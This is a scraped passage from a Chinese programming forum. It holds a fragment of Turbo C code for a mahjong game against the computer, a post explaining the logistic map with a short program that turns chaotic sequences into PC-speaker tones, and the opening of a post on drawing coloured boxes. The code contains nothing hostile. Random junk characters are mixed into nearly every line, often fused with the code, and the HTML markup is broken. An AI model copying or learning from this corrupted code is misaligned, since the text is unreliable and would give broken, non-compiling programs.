5 \8 r8 ]/ f1 L# L{
/ N9 ^$ G; M% u* p" p% Ix1=200;: v% k' Q$ ?: O! v4 B# k
y1=165;
9 J" n6 {3 j3 j* j: |8 rfillRectangle(x1,y1,x1+20,y1+4,0);
- }- V7 y9 j; w0 D: W2 Q}" |$ I' h/ }9 Y8 L
if(every==10)# _* X* l: v$ }5 {
{& M* T/ w& G' V/ o- A
x1=220;
* m* `. ?2 |2 R2 O3 [- Uy1=165;; ^1 r0 A; N, T/ h/ z0 G
fillRectangle(x1,y1,x1+20,y1+4,0);
% ~! J7 O( s) D% M5 R- c}
$ u' d+ e9 Y) H& \4 c, Iif(every==11)
& h7 r$ d! j7 O7 G{
7 K1 _" C4 G" A1 x4 h. b' K& Y, sx1=240;
6 @2 t+ s1 z* D& l; oy1=165;$ ?1 J; c! {* W, b" T
fillRectangle(x1,y1,x1+20,y1+4,0);
4 Z, h1 U# m3 A2 @4 X+ k}
+ M% k% [' q5 B* dif(every==12)
0 u; ?) R4 \" m; C: z6 I8 o! D# j1 z5 X{9 m: _* _/ k8 d" c6 ^
x1=260;+ G0 P. |  P6 h9 c
y1=165;
5 Y5 Q9 M0 s( W# CfillRectangle(x1,y1,x1+20,y1+4,0);
# B1 T5 y2 c7 |) f7 x5 p}
' |) f1 ]! x) c" v7 @
; e* Q7 ~( l2 y4 P/ A3 ^5 D0 ~6 azz=0;/ h6 w5 B% W: R% f" Q8 E7 o  |
every++;
2 U3 U' C- o3 E* O& k6 \7 uz=z+20;
5 K1 o9 M6 |2 ~}
8 M, b" }; B9 {. `- mshowbmp(every);" L: g3 A2 O. y9 s4 m8 n' _
key=keyy;3 e; V0 ?& C& a, N4 z7 D
if(keyy==ENTER)
8 y1 `5 `8 q2 V8 a& h{0 H/ F8 V+ e( i( ?% a
rgzn(every); /*********************/
# H2 E( M! U1 k7 X8 g8 Nif(sing==1) /*如果可以乓,做相应的处理*/
+ c9 I/ a. F  U{ , T9 U1 b6 O& d7 C
kkk=0;
$ N; w1 N0 K5 Zkkkk=0;
! i7 |/ d1 h9 C8 [* Swhile(kkk&lt;=computer.m)
4 p/ K" X4 ?+ Z: f{. q, t# Q" ?+ N
if(computer.pp[kkk].p!=1)1 `+ E1 U4 x5 Z! A
{( A4 `% g6 d0 N+ B' q8 G9 q; _2 M
comp.pp[kkkk].k=computer.pp[kkk].k;) E; f  g& e/ t1 T: V
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
- P  O; J" T' {7 y% Y& ?# ^comp.pp[kkkk].number=computer.pp[kkk].number;7 E  y, ]  y3 L* i* u5 b
kkkk++;
9 A7 i, R& w9 W}
5 D9 P: e% [. h+ G- O. \else
- j9 m+ u" z% ^4 s{
7 }1 g- i* v! Um[computer.pp[kkk].number].data1=1;
! X5 x# P- R! tdwei=computer.pp[kkk].number;5 v  [+ Z' g9 u* g( D
computer.pp[kkk].p=0;
$ q( ^9 A2 ^/ T, O% m+ h% ?; U}& q. j# k' L# j+ D# i
kkk++;
. d9 H# D( _" I0 a5 T' @5 y  `1 d4 ~}
3 r. s6 s% B( i" X5 gll=0;
# o" d* V" w  H
3 ]4 O) M7 v0 ^while(ll&lt;3)
. y& p2 ~) |$ I4 V7 I{ zl=zl+20;
& t; ?4 N, a- f  s* [bmpp(dwei); /*显示乓的牌*/1 @9 }! s' c, K+ V
ll++;
- s4 k8 h& H# F  z+ V& d# @5 |3 B}
$ W  O1 x6 L1 v
: I/ @. ]' {- b1 P- dzl=zl+9600-60;% E7 M0 L; S. c( M/ C6 K% Q2 d7 w) V, }
kkk=0;
6 \( a8 }% z3 {# q6 Fcomputer.m=computer.m-2;' V" n4 J  C: s& B) J8 \
while(kkk&lt;=computer.m)
8 j6 |1 b" \5 @9 e; P{
0 m  w$ Z7 J3 ?: G* m( l: scomputer.pp[kkk].k=comp.pp[kkk].k;$ N& W8 f. w. a$ y8 m2 _
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;  ?; s, K3 P" s8 {2 n8 F$ a. r7 _
computer.pp[kkk].number=comp.pp[kkk].number;4 n8 f8 s3 ?9 t
kkk++;& h& ^/ ]$ [3 j& V. n4 p
}
5 Y( C: u2 a: A8 _, L4 \/ Sll=0;. q  K7 m1 T: v& W5 w: j1 Z: ?
temp=random(computer.m); /*出牌等待完善*/
5 Z3 G! b: h3 Nzyy=zyy+9280+20;
3 |% l* {; J) j7 G7 E; ~9 Oshowcbmp(temp);
: X9 _; c6 s  R: c, X- jzyy=zyy-9280;0 M6 h0 b# [5 ?( A1 g& m
/*****/
$ c+ N4 Y( K$ Brgznme(temp);
8 V  I( q' G6 ipanduan();$ o* r% Q4 \4 [
if(me.m==0)
6 }# D; H% p; n+ p; K' A) |- ^if(second==1 &amp;&amp; threes==0)* s/ P; z- w6 ~' T/ C
printf("you win!");9 }1 h7 K; p/ i* y% u  Z
if(me.m==3)
  g7 L' z9 B6 u" T; y& ?if(second==1 &amp;&amp; threes==1)2 w' K9 ?: A) r
printf("you win!");# A. y; d: G9 h2 z$ U1 p
if(me.m==6)
6 q" j5 I; Q9 r) s' k* aif(second==1 &amp;&amp; threes==2)/ b3 l# n) I4 D  u# |- K
printf("you win!");7 ]: }+ W3 X7 X1 R& G5 {; Q4 W
if(me.m==9)- q, `6 v* g) B# i
if(second==1 &amp;&amp; threes==3)
9 R. z& _8 b% ^" N3 c+ nprintf("you win!");3 d( p: p9 p5 _  k1 @
if(me.m==12)
# [( K# J% N# I) F3 oif(second==1 &amp;&amp; threes==4)# l( M7 Q* m  {6 |4 n
printf("you win!");+ }/ B" f. ]  w5 U& j
0 U, Y2 B# z) k6 ^# @2 J- A
kkk=0;& l4 e* @4 N- j
kkkk=0;
+ J6 k3 V  q, |! R  b0 }" ewhile(kkk&lt;=computer.m)
/ ?% M/ l/ z! E+ Y. |4 H- `2 X{
" q. [; U# e( T* g( bif(kkk!=temp)
; [- h* p* C/ G8 Q{$ I: N* p0 W8 X2 x' ~3 b" J
comp.pp[kkkk].k=computer.pp[kkk].k;
; V/ L' a& x" t/ t# @8 I1 a8 ?( Dcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;) K2 u" R/ D5 p8 w; q
comp.pp[kkkk].number=computer.pp[kkk].number;
; ]( b3 d5 Y/ j- v' ^kkkk++;$ Z$ a) a2 i( Y4 m: l' K" N9 y( k( f
}
8 D& v6 \1 }& d* v" N% Y: F' G& |else
8 s& W# u$ {" w+ y) Wm[computer.pp[kkk].number].data1=1;) D) c5 L1 M0 ]' L$ i4 a! p
kkk++;3 n2 |! Q5 j# e& v3 ^& X, I. ]) q
}( `& n' @( f6 B/ Q9 a. ^$ e
kkk=0;9 B! Y8 s* K9 g, {) s! ?8 A2 W2 K
computer.m=computer.m-1;
2 N/ ]7 u. l0 N$ \( g. Ewhile(kkk&lt;=computer.m) 8 A% z0 K$ T# n
{4 m$ ?5 v  k' b2 v
computer.pp[kkk].k=comp.pp[kkk].k;
- N/ m5 c. L9 r5 F5 B2 u  V7 }computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;# D" N$ n# z, g9 |
computer.pp[kkk].number=comp.pp[kkk].number;: ?9 u! l; d4 \7 G) g1 P
kkk++;$ G% R9 N1 Q, i* C! x
}
" V! L5 B$ Z) C$ h. z$ VfillRectangle(0,0,320,30,0);* f! ]; u0 D3 W; f) ?
n=computer.m;
/ g3 g: h0 h$ u# Z# |+ cll=0;0 Y/ x& l% _5 _
zy=0;3 w) j( z# f4 d" @0 G' {4 o
while(ll&lt;=n)$ @( o, Y. w! A5 H7 f
{& Y6 ?4 c  F6 M  y. L: P
zy=zy+20;+ R1 r  S' ^. i0 Q
showybmp(ll);
4 q# ?! o3 k/ L, B2 k% O6 Xll++;
$ M& A$ w, t. x7 s}
" A$ U9 p5 k8 ]7 p) @ll=0;$ P' d' K9 Z0 g. X. I
getch();* k6 E+ Z& l4 m% D# v
sing=0;7 [; {- J6 b3 T0 F
sing1=1;
- x* N1 p$ ]5 f! X' n% Q# {}
) e( T% x7 O7 o- ^/ v, x
/ M( R4 y2 d$ ^6 f5 f! y, ?" Fif(sing==2) /*如果可以杠的做相应处理*/
) N# u3 y) t$ Z- U{& C0 y9 z& V% K7 O
kkk=0;
0 S8 a; \: \5 `6 zkkkk=0;$ H6 C: X- N; F% H8 ~7 R: y6 R
while(kkk&lt;=computer.m): d& e; \$ v4 r+ `; o3 V6 u3 T/ f
{3 j7 N( u8 D2 @5 |# x! L
if(computer.pp[kkk].g!=1)
, H6 |4 H) I' N{  U& c7 @5 O9 z+ Z6 g! J' ~' r5 ^
comp.pp[kkkk].k=computer.pp[kkk].k;: Q9 f  W; O8 e+ L/ b
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;3 S8 c. z3 x; j5 H% o' [- Q, a) F
comp.pp[kkkk].number=computer.pp[kkk].number;
0 i! R3 [' n$ W3 e* S8 P: Ykkkk++;& _* T( M' @: y8 n, R4 t
}
- f3 _5 C7 Q$ u- |3 [else
4 ^  `1 L% w0 G7 _. Y{0 y' @0 q' l3 n2 p5 z1 N9 W# L
m[computer.pp[kkk].number].data1=1;
) D& U2 p+ n2 U" C( l& sdweig=computer.pp[kkk].number;  y" q+ a# z- r. X- b1 \  c) ?
computer.pp[kkk].g=0;
" z9 R9 E1 U& M1 a/ k  T  O0 `: ~}
5 G, J7 R$ p9 u9 p9 h6 g7 b! x$ ^kkk++;
$ A  f3 D) p# C5 F# b  z}& H3 ^4 c3 j( G8 Z& V! T9 r. S: L
ll=0;* @+ C3 I5 l5 f2 ]
6 U. W. l" M- U8 |' x: g
while(ll&lt;=3)( {7 h# L, j5 A. `: \2 Z# e
{ zl=zl+20;" ~6 |, A! `. q/ G
bmpp(dweig); /*显示杠的牌*/, ]5 w8 j: b9 n
ll++;# Z" P% `# I5 M9 ~- `
}2 Z4 l- X' E6 |: a. T( ^
zl=zl+9600-60;$ {8 o* J' ?' K6 d
kkk=0;
* T. s0 [: d* N( V6 rcomputer.m=computer.m-3;, a/ u- B2 F0 U1 V% a$ C
while(kkk&lt;=computer.m)0 A( Q6 U4 Q9 q% y0 J) k5 a# B0 U
{
8 d' v( s$ `3 o- ^) \/ M, zcomputer.pp[kkk].k=comp.pp[kkk].k;- |3 w/ k" Z* H- c- W' Y5 J# i+ C
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
( m1 H5 A' B$ T& wcomputer.pp[kkk].number=comp.pp[kkk].number;
' h( X% N5 H. u5 _/ M4 K4 {kkk++;* O: x7 m$ B! |
}
* |$ g! Q5 l1 L  n) I' \kk=0;
+ a; ]7 f, M' u7 W+ i+ q6 G, ycomputer.m++; /*加一个牌的容量*/
" F/ Y: ^  ]: ^  B) ]- Q, r* }while(kk!=1)
$ s% v- C7 [) g2 ?* E& `" x{
& r6 H* b8 |1 \' Q$ }! r- Mtemp=random(136); /*出牌*/# v2 r8 s9 N7 A4 J
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)  }: @; _- J* W$ ~' ~9 _. }" Y  W
{
# w5 b; w, a/ @* A9 ]6 U* y1 Ucomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
! @  v' E0 D( D: ^computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
: r! b2 g" S, C4 B1 P/ T5 ucomputer.pp[computer.m].number=temp; /*第几张,用来排序*/
  d+ R9 h; D0 O& h( I+ u8 K) P! k- Am[temp].data2=2; /*判断牌是谁的,2为电脑*/
# W0 I, \7 ?6 @% Tkk=1;5 n; p8 |$ C; d0 t8 s
}  R& Q# C5 J8 Q( ^- N0 S# s  R
}  H. {8 }# L6 V& N
comlipai();
- Z3 Q; o7 \3 Qtemp=random(computer.m); /*出牌,等待完善*/& B' Q" Z2 A% o& x. p5 G1 M
zyy=zyy+9280+20;
5 r) t3 ~" o; J7 w  `5 \  tshowcbmp(temp);- M" `4 c* t8 S9 g+ f6 |8 B; n6 f
zyy=zyy-9280;0 \; P( Q& \; B5 W4 U
/*****/* k6 f5 ~- r, e- Y' f2 y6 V
rgznme(temp);
& }$ S1 B# N5 w* h. W3 v! @panduan();0 n0 Q# h1 H" _
if(me.m==0)
) p, j. V6 K/ m9 P3 v, o  Tif(second==1 &amp;&amp; threes==0)
% \* h7 n. ?( R- j/ N3 v; bprintf("you win!");; Z2 ~6 |( D  ~1 ~
if(me.m==3)
/ q9 t* y3 U8 I, @  B. fif(second==1 &amp;&amp; threes==1)* a( m% Q( P1 T
printf("you win!");; P# K( c+ y. O( ?+ E
if(me.m==6)$ p* m7 {- O. g
if(second==1 &amp;&amp; threes==2)
; i; ]! z9 D: R8 \2 ~3 }7 L) Yprintf("you win!");  M9 g. _: z" ]1 f' `
if(me.m==9)( O. K5 Y! T, ?( N) W9 p
if(second==1 &amp;&amp; threes==3)! |7 b2 a6 _0 X
printf("you win!");
' T' x1 y$ M! t! V. }% a# h8 Aif(me.m==12)
' y6 [& {9 O7 N1 W4 B; o/ uif(second==1 &amp;&amp; threes==4)
; R+ O' T+ A) C) S" Sprintf("you win!");& J" D- t: N* q$ `5 ]+ O5 j
+ H: G/ _+ ?9 C: ]3 K+ g% ]/ m
kkk=0;
! E; }8 K, }) \kkkk=0;
9 j$ b4 Y" \. \* C. I& d+ T- A3 _! swhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
( W" L4 [; `& D* i5 i/ \7 X2 }, l{
) m1 F2 [' C5 pif(kkk!=temp)3 G4 `& s, o! o. D
{
+ \+ e' L4 `- u  x7 icomp.pp[kkkk].k=computer.pp[kkk].k;1 ]- l. ^$ p, x9 x8 t7 v) ^
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
( m% \4 R+ |/ q& u5 O3 C/ U5 Vcomp.pp[kkkk].number=computer.pp[kkk].number;' Y& u- V6 X  r5 J/ w9 s) t5 n
kkkk++;
! s+ i8 b6 h; R" A# Q* g}0 m! d6 E# P8 q0 ~) N0 Z
else, E+ n$ ~$ e7 R7 q' a
m[computer.pp[kkk].number].data1=1;0 l& M& B. U; K3 @: m9 y) c2 I
kkk++;
$ Y% F, b# Z- x( y3 B" Y/ m9 h}) u* e9 X% ~/ X" }* t
kkk=0;* _& G( @- P* \4 W5 E
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/, s! D: ~' V" f; {2 c
while(kkk&lt;=computer.m)
8 t9 t2 y0 W7 z9 f{
) y; K$ a5 K- _. n; I% tcomputer.pp[kkk].k=comp.pp[kkk].k;
  s5 M' M, H" I. I, Z0 Zcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
% ^# X  {" w4 ecomputer.pp[kkk].number=comp.pp[kkk].number;
5 m& f- _% X) R1 R1 X3 D7 f" Z9 h4 Vkkk++;
( o# |6 u# [( Y3 ^1 A}6 ]6 F+ ^4 d" j! A3 ?' s4 h
fillRectangle(0,0,320,30,0);
: i7 e) q. b( E+ @2 p0 D6 yll=0;$ F- y$ o9 U$ l- K) u5 i  l/ n( v
zy=0;/ p% D) }/ ]: j& X) n3 K: `7 k% e
while(ll&lt;=computer.m)
6 u% h& K/ K2 a5 s* o  y/ }/ ?( G{
2 E) Q. J9 F  N9 Tzy=zy+20;
" D0 c& O2 p! u4 g6 Pshowybmp(ll);
/ O6 b9 _: c( w+ Qll++;9 @! M$ H' W# u3 ]) [4 m
}
, {! m+ @& M* A3 O2 J- Bsing=0;% B9 R9 i- |8 m
sing1=1;
/ \6 j$ w2 s  G8 U; {1 A}4 J8 Q" v  E) H& w0 T) d0 t4 m) X$ O
if(sing==7) /*如果可以吃的,做相应处理*/
" v% @; O1 C) |$ \6 T% h+ k{ nn=0;. C6 M; f; b9 r( L1 {. d
kkk=0;
( ^% R: Q$ z7 Z# m6 ]' m- Z% ykkkk=0;
; G' [: G8 s" ]while(kkk&lt;=computer.m)
1 o: @3 W; a9 B. j{. V$ V4 i1 A: o" g
if(computer.pp[kkk].c!=1)
) G9 ^, W5 a$ [{, l% x5 O4 l( u
comp.pp[kkkk].k=computer.pp[kkk].k;
1 D. E, T, ~" J( [/ scomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
, o9 [' G  e# a" U; L1 wcomp.pp[kkkk].number=computer.pp[kkk].number;
$ `# W% n* V- \7 @6 r4 ekkkk++;
! p* W4 t% p( V. _2 ~+ \}
. x9 r4 y) ]/ I  w0 o2 S( I: K: H5 {! E% Helse$ v0 Y/ g" f* u8 w7 e- W" A0 y7 S2 T
{
$ _% m( x6 T1 om[computer.pp[kkk].number].data1=1;% L; c: c5 P8 l6 a2 e. x" ?6 d
dw[nn++]=computer.pp[kkk].number;
' P$ @% L7 J4 C) u+ scomputer.pp[kkk].c=0;; p( ]0 f2 P& U, ~3 p4 N
}- c1 F5 ]& G. l( {2 L
kkk++;+ M+ J4 }. H0 R' v$ A( u1 }# c6 R
}
& [7 {# K7 G; R6 P$ ^7 L( O+ u5 \# P6 O0 t
if(me.pp[every].number&lt;dw[0]): f4 b  n4 P3 K) s
{6 @) S5 B- n/ r" X" z/ _
dw[2]=dw[1];
. Z1 Y/ j  p* b- b& N% p" odw[1]=dw[0];% _( U/ q7 T9 R. _  A/ K
dw[0]=me.pp[every].number;" t2 x$ `* S" Y: m
}' C/ j2 E2 i- c% {0 U: J9 E% `
if(me.pp[every].number&gt;dw[1])
2 V' W- ]: _: X{
+ \4 h% _- N* m8 v, q0 y) bdw[2]=me.pp[every].number;" m. S' @5 t9 {5 ]3 p0 g2 T" ^
}
+ B( [/ J9 W+ N2 Y, r5 Zif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])/ N$ ]0 t6 {4 ^2 C9 g
{' g$ U5 O8 j: U; c+ o8 J
dw[2]=dw[1];
* C3 b/ C6 c& a; F% I+ J- m- V6 Xdw[1]=me.pp[every].number;$ }# L* d6 t; ~% \4 {1 i: h
}1 N/ F3 q7 u$ L  J
nn=0;7 h- o, G- E1 w+ o1 g1 e! Z
while(nn&lt;3)! G6 E$ G$ ^2 m. n
{ zl=zl+20;% @1 ]; _1 [3 e, c" I2 `6 s5 d
bmpp(dw[nn]); /*显示吃的牌*/1 ]% U( w0 O+ I
nn++;" K6 k9 ]8 s& s8 e/ X: J# C* Q
}. E- s9 l. I2 v0 T# A0 R
zl=zl+9600-60;
" Z9 _' t* H: Q; [6 B; Tkkk=0;
- ~' N- U# ~) Lcomputer.m=computer.m-2;9 t, i  N- D" y1 Z# ^
while(kkk&lt;=computer.m)2 H* V" T8 `3 J  }3 p6 l& l) u6 l
{$ `; I5 C: b8 n  H  W) N9 _
computer.pp[kkk].k=comp.pp[kkk].k;
, }8 ]1 D- [5 ]% xcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
1 z* D4 b. I4 x7 y+ I6 Bcomputer.pp[kkk].number=comp.pp[kkk].number;
1 D1 u: Q; H* ekkk++;/ O6 |( `# ]2 ]+ i# W0 a
}
4 z$ k5 x7 A" dll=0;, S/ `" n  O- V, Q: g3 K- V8 q
temp=random(computer.m); /*出牌等待完善*// \" Q; R$ ]& b& H! D1 w8 _! s
zyy=zyy+9280+20;, X# ?5 r, h5 @
showcbmp(temp);$ H% j. U0 t; }, K2 i
zyy=zyy-9280;
5 n" c8 S) z  C+ H, M2 ~3 W/*****/  R& L; c( V: P8 P
rgznme(temp);) y2 w& v9 n. W
panduan();
. j4 K2 P4 E4 |/ E! L" Hif(me.m==0)" a  N/ h7 }' o' K# N
if(second==1 &amp;&amp; threes==0)
+ d$ X" x+ @, q9 V2 M+ xprintf("you win!");
/ q! q5 X' |5 Iif(me.m==3)% J0 E2 S$ d  T1 U( A$ w
if(second==1 &amp;&amp; threes==1)! K: F" y+ Z: c6 @0 {% U: v
printf("you win!");+ [- F, }8 f% u7 l: C
if(me.m==6)
9 W5 j. l5 |4 M* Yif(second==1 &amp;&amp; threes==2)
; t% ^0 ]. L% E( pprintf("you win!");
: p4 P/ J2 Z) Rif(me.m==9)
6 V4 j" u- I) S( D8 L2 }6 ~2 I# _  {if(second==1 &amp;&amp; threes==3): F' a: C& @/ |" ]# ~6 m; }
printf("you win!");
9 p. `' w/ d6 E- w2 Y9 C' y5 o. a: dif(me.m==12)6 O! n+ A$ |" t5 g; a" O, Y
if(second==1 &amp;&amp; threes==4)
5 x; ]1 d! x* Eprintf("you win!");4 b' Y+ ^! a# |
' M9 }. }" `7 h# h: W
kkk=0;' g0 J7 \: ?- \" }
kkkk=0;' G5 k! A- g6 f6 }# I- u( u
while(kkk&lt;=computer.m)& J# M' {& [+ }% ]: p! h
{) R" b" t( o, d
if(kkk!=temp)
6 ?, i$ _+ b0 {# ^" y  w# [* ^: |/ k- Y{
* K; F4 ?5 X0 d; @+ ?1 Z0 tcomp.pp[kkkk].k=computer.pp[kkk].k;8 o+ ?5 |6 {$ T
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
. a: e. Y- D7 Ccomp.pp[kkkk].number=computer.pp[kkk].number;7 }% j- I: X" _( u
kkkk++;
( b5 E2 [- B, z}
1 `4 A: z- p# W( Y; ?else
- \) b6 K( g% a/ m# P0 Km[computer.pp[kkk].number].data1=1;  R. R1 J: W: q5 T6 p# p
kkk++;4 b4 p+ A7 {% W
}* A$ ]5 W1 B: W
kkk=0;
( G0 H5 h3 |% ?$ U6 L/ Gcomputer.m=computer.m-1;
6 `/ c$ y' p4 \+ p- j4 Vwhile(kkk&lt;=computer.m) ) P$ x& \  c4 W: c+ U
{+ D7 A: U, |  l. L8 g4 o# g
computer.pp[kkk].k=comp.pp[kkk].k;* t* r- k# `- }: N, e
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;- S% M- B6 V, m! E
computer.pp[kkk].number=comp.pp[kkk].number;
: X8 z3 {1 a) w2 ckkk++;
2 G5 p$ w- x1 \1 U: Y2 `+ {% v}- @- k5 s5 A; g  W, O/ B1 b
fillRectangle(0,0,320,30,0);
" Z$ l" R8 q7 `, @/ Fn=computer.m;
* ^" i) |; h: W! j2 ill=0;
2 E; r7 n, a  s- E: dzy=0;. Y) v3 t( m* Z" u& Z3 }( g
while(ll&lt;=n), [. f- \- l" ~( M/ A1 r" e3 y
{
8 H7 m2 _( z" C  Izy=zy+20;
/ E! X+ j3 h! ], i5 N: @, xshowybmp(ll);
! k( R6 N6 J/ T& P! t! Rll++;
/ O% S' p- I" q4 ?7 M}  R- d4 s; f+ ]. N! ~& _: L

, k9 w. ]) h4 H' \5 agetch();
$ S$ ^* u( g% t; H7 d( f% Vsing=0;0 f5 u) G  p2 b) C. g6 G. i" H! H
sing1=1;- k1 y" a5 {9 z3 a7 {
}1 L  Y9 a/ }! C: E- X) z: I. U
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
$ j. o: O( V- U{! R  D6 j; f* a: N& ?
kk=0;
/ M% d. o$ B) t. @h=me.pp[every].number;
6 \7 ~% P2 D( T  V/ M2 Ym[h].data1=1; /*此牌已经无用*/
3 h5 Q# e  J4 n% n+ g  eif(sing1!=1)* J' {) v- B5 z" j9 }9 t' v* c4 i! X  R
{$ M: U! D/ J+ W; H% {* K
zyy=zyy+9280+20;' O! u, [+ Z& Q, J, ~% Y" d- |
showbmpd(every);5 i% M  ~+ b' d
zyy=zyy-9280;+ q4 J4 B7 }7 X
}  n6 P+ i% J; ]
while(kk!=1); A- }% C( g; r1 O" l  n0 I
{
, a* ?9 C) D8 K- {  rtemp=random(136);
( U/ f9 ^4 r7 X: {( m3 Wif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)/ q4 F) s( `) d' L- |
{! @9 K$ f- X" a4 b4 O) R
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/: \6 R2 Y$ ]1 H( Y/ U6 v( Q
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/6 J2 `8 b* N$ H- u3 c/ M. Z
me.pp[every].number=temp; /*第几张,用来排序*/: U1 t4 X6 U3 Z% H/ D
m[temp].data2=1; /*判断牌是谁的*/
- D! U5 U: t" tkk=1;& ^9 M* f. r$ m* ?" S2 J
}5 s& O& N. Z9 a! [/ o$ M/ U: q
if(kk==0) /*判断如果又选择了,就从新再选*/" l7 S7 R' i  k
kk=0;
8 L8 X) x- H& |4 J& r& P}
. f5 A% A/ t4 u4 f}" {" V- ?' c7 Y' ]+ x5 x. H" x
sing=0;
4 Y' v$ c* G" r3 k& ^" Z  F. esing1=0;
# z0 r; J. i6 M. t# o$ |  jmelipai();4 r4 l) }2 @5 h
n=13;
5 f0 D/ G0 u/ r- ]( gz1=54400;+ G! S; u4 G/ f6 |4 u/ H8 M) G
l=0;
- l6 X$ }/ v$ c0 v0 Xg=z;0 s  t& H' j& F5 ^; f! h
while(l&lt;n)3 s) Z* U4 {2 r, G1 U0 g
{ z=0;* k( Y" L/ j1 A$ Y. Q0 X* V, j
z1=z1+20;
$ n7 o2 f) p4 m: Cshowbmp(l);
# o( X: v( F% Q) N1 ]+ R; ?l++;
5 C, ]& e: _/ O/ a% P' D}6 _! B- ]+ N! R. e, l. x/ S, J; f
z1=0;
0 o5 f) y" p$ h; O) r6 |/ ~z=g;
9 U, B& p1 y" q# I% {% M}, g% A5 C+ H( V4 ~5 e, u
keyy=0;0 r6 Z% J; N2 p7 k/ j  l
}
9 j& x% o# j+ C7 I6 ?3 z( ~# }  d0 _0 y& M
getch();  o$ m7 l. p6 R5 v6 r
OUTVGA;+ `% @) y  w. ?4 g& ~: b. B8 M, h3 Z
}
  p; [8 ]$ x/ m) X5 E1 G7 V; ?</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])% P4 q# B5 Z& e2 }! k
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
' h$ p0 v( W* X& t5 g2 d- R
9 o9 h- u- J: ]7 l. W  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
3 b$ {' u  F/ _7 h: Z  <FONT color=#009900>#include <DOS.H>
( c  ]" ^5 Y; K  #include <STDIO.H>- S5 o) q% \- v; E
  main(){. _1 p6 j! V2 p0 W& n/ i  Z
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/3 m" k7 d% }2 ^' Q7 V/ N1 U# K
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
2 Q3 C0 b6 w+ u  ~  }  /*i,j用于循环记数*/+ z( O/ P: T' e2 F3 a) Q. {1 F
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
$ z+ h9 r: [9 i; X3 C" {3 [2 k  fDis=fMax-fMin;; p: N+ R1 F  l' `8 q
  for(j=1;;j++){& J" u: j/ y9 X
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
3 Y8 f6 G5 `5 Y/ r4 Q  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/4 Q1 o" C/ Q1 ~8 L: P  f' |! i% ~
  scanf("%f",&k);
# K1 Q7 p0 w3 T& P  if (k==0) break;0 J# ^* L% n9 F
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/1 e9 X% _. o7 V. ?# ?( P" ]8 D
  x=k*x*(1-x);& c4 n: R( [* ?* h. \
  for (i=1;i&lt;100;i++){
- a( P& Y0 y+ S1 `( O$ B$ r8 V, Z  x=k*x*(1-x); /*计算x的值*/9 I0 Q  ^9 E4 u" S, t" i: Z& J
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
( [" _! a: \- m8 R( k& N  delay(1000); }. K0 A3 e. |( v1 z0 k1 ^9 w
  nosound(); }}
8 K8 v- L! f' f( X  g% D( n  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。8 A; |1 ]2 h3 Z' K4 h
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>3 @( X: D% O' I* g: X% i# K* [) c: Y8 Z
<FONT color=#009900>/*
: I; n0 H2 c$ ]" f7 z1 S*
